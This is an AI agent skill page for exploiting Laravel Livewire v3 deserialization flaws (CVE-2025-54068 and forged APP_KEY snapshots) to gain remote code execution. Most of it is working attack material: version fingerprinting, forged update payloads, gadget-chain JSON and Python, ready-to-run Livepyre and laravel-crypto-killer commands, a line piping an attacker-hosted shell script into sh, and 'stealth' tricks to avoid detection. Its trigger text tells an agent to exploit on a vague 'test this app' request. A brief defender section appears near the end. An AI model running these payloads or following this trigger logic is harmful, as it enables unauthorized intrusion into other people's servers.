# Livewire Hydration Exploitation

> Exploit Laravel Livewire v3 deserialization vulnerabilities for RCE. Use this skill whenever the user mentions Livewire, Laravel, deserialization attacks, CVE-2025-54068, Livewire snapshots, hydration abuse, or any web application using Livewire v3. Trigger even if the user just says "test this Livewire app" or "check for deserialization" on a Laravel site.

- Skill: `abelrguezr/livewire-hydration-exploitation` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/livewire-hydration-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/livewire-hydration-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/livewire-hydration-exploitation

---


# Laravel Livewire Hydration & Synthesizer Abuse

A skill for exploiting Laravel Livewire v3 deserialization vulnerabilities to achieve remote code execution (RCE).

## Overview

Livewire 3 components exchange state through **snapshots** containing `data`, `memo`, and a checksum. The hydration system uses **synthetic tuples** to encode complex properties, delegating to synthesizers that can instantiate arbitrary classes. This creates a generic object-instantiation engine exploitable for RCE.

### Two Attack Paths

1. **With APP_KEY**: Forge arbitrary snapshots by recomputing HMAC checksums
2. **CVE-2025-54068 (No APP_KEY)**: Abuse `updates` merging after checksum validation (affects v3.0.0-beta.1 to v3.6.2)

## Prerequisites

- Target running Laravel with Livewire v3
- Access to `/livewire/update` endpoint
- For APP_KEY path: knowledge of `APP_KEY` (base64 encoded)
- For CVE path: a Livewire component with untyped public properties

## Reconnaissance

### 1. Identify Livewire Version

```bash
# Check the livewire.js hash to fingerprint version
curl -s https://target.com | grep -oP 'livewire\.js\?id=\K[a-f0-9]+'
```

Map the hash to vulnerable releases:
- v3.0.0-beta.1 to v3.6.2: Vulnerable to CVE-2025-54068
- All v3 versions: Vulnerable if APP_KEY is known

### 2. Capture Baseline Request

```bash
# Intercept a legitimate /livewire/update request
curl -X POST https://target.com/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-Livewire: true" \
  -d '{"components":[],"updates":{},"fingerprint":{}}' \
  --trace-ascii -
```

Extract `components[0].snapshot` for analysis.

## Attack Path 1: With APP_KEY (Snapshot Forgery)

### Step 1: Decode the Snapshot

```bash
# Extract and decode the snapshot from captured request
python3 -c "
import json, base64
with open('request.json') as f:
    data = json.load(f)
snapshot = data['components'][0]['snapshot']
print(json.dumps(snapshot, indent=2))
"
```

### Step 2: Inject Gadget Tuples

The exploit uses synthesizer tuples to instantiate gadget objects:

| Synthesizer | Key | Behavior |
|-------------|-----|----------|
| CollectionSynth | `clctn` | `new $meta['class']($value)` |
| FormObjectSynth | `form` | `new $meta['class']($component, $path)` |
| ModelSynth | `mdl` | `new $class` (zero-arg) |

### Step 3: Use laravel-crypto-killer

```bash
# Clone and run
./laravel_crypto_killer.py exploit -e livewire \
  -k base64:APP_KEY \
  -j request.json \
  --function system \
  -p "bash -c 'id'"
```

The tool:
- Parses the captured snapshot
- Injects gadget tuples (Guzzle FnStream + Flysystem chain)
- Recomputes the HMAC checksum
- Outputs a ready-to-send payload

### Step 4: Replay the Forged Request

```bash
curl -X POST https://target.com/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-CSRF-TOKEN: <token>" \
  -d @forged_payload.json
```

## Attack Path 2: CVE-2025-54068 (No APP_KEY)

### Understanding the Vulnerability

`updates` are merged into component state **after** snapshot checksum validation. If a property becomes a synthetic tuple, Livewire reuses its metadata while hydrating attacker-controlled update values.

### Step 1: Find Coercible Property

Look for untyped public properties in Livewire components:

```php
// Vulnerable pattern
class MyComponent extends Component {
    public $count;  // Untyped - can be coerced to array
    public $items;  // Untyped - exploitable
}
```

### Step 2: Force Tuple Creation

Send an update that coerces a property to an array:

```json
{
  "updates": {
    "count": []
  }
}
```

The next snapshot will store it as:
```json
"count": [[], {"s": "arr"}]
```

### Step 3: Inject Nested Gadget Tuples

Craft an update with deeply nested arrays containing gadget tuples:

```json
{
  "updates": {
    "count": [
      [
        {"__toString": "phpinfo"},
        {"s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream"}
      ],
      {"s": "arr"}
    ]
  }
}
```

### Step 4: Use Livepyre (Automated)

```bash
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target.com/livewire/component \
  -f system -p id

# With APP_KEY (signed snapshot path)
python3 Livepyre.py -u https://target.com/livewire/component \
  -a base64:APP_KEY \
  -f system -p "bash -c 'curl attacker/shell.sh|sh'"
```

Livepyre features:
- `-c/--check`: Non-destructive probe
- `-F`: Skip version gating
- `-H`: Custom headers
- `-P`: Proxy support
- `--function/--param`: Customize invoked function

## Manual Payload Construction

### Minimal RCE Chain

```python
import json

# FnStream with __toString callable
fn_stream_tuple = [
    {"__toString": "system", "__invoke": ["id"]},
    {"s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream"}
]

# Queueable gadget with phpggc chain
queueable_tuple = [
    {
        "chained": [
            # phpggc Laravel/RCE4Adapted serialized blob
            "O:47:\"Illuminate\\Broadcasting\\BroadcastEvent\":2:{...}"
        ]
    },
    {"s": "clctn", "class": "Illuminate\\Queue\\CallQueuedHandler"}
]

# Combine in updates payload
payload = {
    "updates": {
        "target_property": [fn_stream_tuple, {"s": "arr"}]
    }
}
```

### Stealth Termination

Prevent noisy exceptions by adding exit callable:

```json
{
  "__invoke": ["exit"],
  "__toString": "phpinfo"
}
```

Or use Laravel's Terminal:
```json
{
  "__invoke": ["exit"],
  "class": "Laravel\\Prompts\\Terminal"
}
```

## Gadget Chains

### Available Chains

1. **Guzzle FnStream + Flysystem**
   - Instantiates FnStream with `__toString` callable
   - Flysystem casts prefixes to string, invoking the callable
   - Works for any zero-argument function

2. **phpggc Laravel/RCE4Adapted**
   - Uses Queueable trait's `$chained` property
   - BroadcastEvent wrapper triggers deserialization
   - PendingBroadcast -> Validator -> Signed closure
   - `call_user_func_array($closure, $args)` enables `system($cmd)`

### Custom Gadget Discovery

Any class with:
- Array constructor (CollectionSynth)
- Two loosely-typed constructor params (FormObjectSynth)
- Zero-argument constructor (ModelSynth)

Can potentially be instantiated. Look for:
- `__toString`, `__invoke`, `__destruct` magic methods
- Public properties that trigger code execution
- Traits like Queueable, SerializesModels

## Defensive Considerations

### For Defenders

1. **Upgrade immediately**: Livewire >= 3.6.4
2. **Type all properties**: Use explicit scalar types
   ```php
   public int $count;  // Not exploitable
   public string $name;  // Not exploitable
   ```
3. **Minimize synthesizers**: Register only needed ones
4. **Validate type changes**: Reject scalar -> array updates
5. **Rotate APP_KEY**: After any disclosure

### For Pentesters

- Always check version before exploiting
- Use `-c/--check` for non-destructive probing
- Document findings with proof-of-concept payloads
- Consider impact of noisy exceptions on detection

## References

- [Synacktiv – Livewire RCE via Unmarshaling](https://www.synacktiv.com/publications/livewire-execution-de-commandes-a-distance-via-unmarshaling.html)
- [synacktiv/laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
- [synacktiv/Livepyre](https://github.com/synacktiv/Livepyre)
- [GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory](https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3)

## Quick Reference

```bash
# Automated exploitation (CVE-2025-54068)
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Automated exploitation (with APP_KEY)
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY -f system -p "whoami"

# Manual snapshot forgery
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY -j request.json --function system -p "id"

# Version fingerprinting
curl -s https://target.com | grep -oP 'livewire\.js\?id=\K[a-f0-9]+'
```

## Test Cases

Use these prompts to verify skill functionality:

1. "I found a Laravel app using Livewire v3.2.0, how do I check if it's vulnerable to CVE-2025-54068?"
2. "I have the APP_KEY for a Livewire application, show me how to forge a snapshot for RCE"
3. "Help me exploit a Livewire component with public $count property"
4. "What's the difference between the APP_KEY and no-APP_KEY Livewire exploitation paths?"

